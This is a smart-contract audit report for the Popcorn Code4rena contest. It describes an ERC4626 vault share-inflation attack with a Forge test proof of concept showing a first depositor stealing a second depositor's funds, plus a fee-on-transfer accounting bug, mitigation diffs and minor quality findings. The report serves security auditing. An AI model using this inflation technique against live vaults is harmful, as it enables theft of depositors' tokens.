Popcorn contest - UdarTeam's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L134 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L300

Vulnerability details

Impact

ERC4626 vaults are subject to a share price manipulation attack that allows an attacker to steal underlying tokens from other depositors.

Take a look at this issue

Even though the docs says that it prevents the attack, this test is still passing.

This scenario is little bit different because first depositor can withdraw the second's assets.

Proof of Concept

Add this test to Vault.t.sol and run it:

  function test__deposit_1() public {
    uint256 aliceassetAmount = 1;

    asset.mint(alice, aliceassetAmount + 1000);       // Assume alice is the first depositor and she has 1001 asset tokens currently

    vm.startPrank(alice);
    asset.approve(address(adapter), 1000);            // She will approve adapter address for 1000 asset tokens
    adapter.mint(1000, alice);                        // Then she will call mint to get 1000 adapter tokens

    asset.approve(address(vault), aliceassetAmount);  // Approves vault address so she can deposit her asset token (1 wei)
    vault.deposit(aliceassetAmount, alice);           // Calls deposit function passing 1 wei as asset token

    adapter.transfer(address(vault), 1000);           // Next, she will directly send her 1000 adapter tokens to the vault to manipulate the
                                                      // formula calculating shares: assets.mulDiv(supply, totalAssets(), Math.Rounding.Down);
    vm.stopPrank();

    asset.mint(bob, 500);                             // Bob is the second depositor, he has no idea whats going on

    vm.startPrank(bob);
    asset.approve(address(vault), 500);               
    vault.deposit(500, bob);                          // He will deposit 500 asset tokens to the vault but will get 0 shares minted 
    vm.stopPrank();                                   // because of the formula above

    vm.prank(alice);
    vault.withdraw(1501);                             // Now, alice knowing that there is some deposit, she can call withdraw function with total of her's and Bob's 
                                                      // deposited amount and ones that she sent to adapter = 1 + 1000 + 500 = 1501
    assertEq(asset.balanceOf(alice), 1501);           // She successfully withdrawed Bob's tokens
  }

Tools Used

Manual, Forge

Recommended Mitigation Steps

• Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address. The same can be done in this case i.e. when totalSupply() == 0, send the first min liquidity LP tokens to the zero address to enable share dilution.

• Ensure the number of shares to be minted is non-zero: require(shares != 0, "zero shares minted");

• Create a periphery contract that contains a wrapper function that atomically calls initialize() and deposit()

• Call deposit() once in initialize() to achieve the same effect as the suggestion above.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardEscrow.sol#L100

Vulnerability details

Impact

STA Token for example cuts fee on every transferFrom call and doesn't transfer the exact amount of tokens.

on lines 122 and 123 of MultiRewardEscrow.sol does storage interactions without checking how many tokens are received. on line 100 calls transferFrom function with amount X However, it is possible that the tokens received are less than expected.

Proof of Concept

As proof there is example with STA token.

Tools Used

Manual

Recommended Mitigation Steps

+    uint256 balanceBefore = token.balanceOf(address(this));
+
     token.safeTransferFrom(msg.sender, address(this), amount);
 
+    uint256 balanceAfter = token.balanceOf(address(this));
+    require(balanceAfter > balanceBefore);
+    uint256 amountIn = balanceAfter - balanceBefore;
+
+
     nonce++;
 
-    bytes32 id = keccak256(abi.encodePacked(token, account, amount, nonce));
+    bytes32 id = keccak256(abi.encodePacked(token, account, amountIn, nonce));
 
     uint256 feePerc = fees[token].feePerc;
     if (feePerc > 0) {
-      uint256 fee = Math.mulDiv(amount, feePerc, 1e18);
+      uint256 fee = Math.mulDiv(amountIn, feePerc, 1e18);
 
-      amount -= fee;
+      amountIn -= fee;
       token.safeTransfer(feeRecipient, fee);
     }
 
@@ -118,15 +125,15 @@ contract MultiRewardEscrow is Owned {
       start: start,
       end: start + duration,
       lastUpdateTime: start,
-      initialBalance: amount,
-      balance: amount,
+      initialBalance: amountIn,
+      balance: amountIn,
       account: account
     });
 
     userEscrowIds[account].push(id);
     userEscrowIdsByToken[account][token].push(id);
 
-    emit Locked(token, account, amount, duration, offset);
+    emit Locked(token, account, amountIn, duration, offset);

[Q-01] Wrong NatSpec Documentation

src/vault/VaultController.sol: L79 Says that "Caller must be owner", but the modifier on the function is not the onlyOwner modifier, instead it is canCreate and it does not check if msg.sender == owner.

[Q-02] Mark abstract contracts as abstract

Contracts OnlyStrategy and WithRewards are meant to be abstract, but not marked like that.

-contract OnlyStrategy {
+abstract contract  OnlyStrategy {

-contract WithRewards is EIP165, OnlyStrategy {
+abstract contract WithRewards is EIP165, OnlyStrategy {

[Q-03] Return the escrow id to user immediately after creating one, for better user experience.

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardEscrow.sol#L88

-  ) external {
+  ) external returns(bytes32 id){
     if (token == IERC20(address(0))) revert ZeroAddress();
     if (account == address(0)) revert ZeroAddress();
     if (amount == 0) revert ZeroAmount();
@@ -101,7 +101,7 @@ contract MultiRewardEscrow is Owned {
 
     nonce++;
 
-    bytes32 id = keccak256(abi.encodePacked(token, account, amount, nonce));
+    id = keccak256(abi.encodePacked(token, account, amount, nonce));
 
     uint256 feePerc = fees[token].feePerc;
     if (feePerc > 0) {

[Q-04] Explicitly mark variables visibility

Marking variables visibility makes code consistent and improves code readability.

Code location

• src/vault/adapter/yearn/YearnAdapter.sol: L25
• src/vault/Vault.sol: L35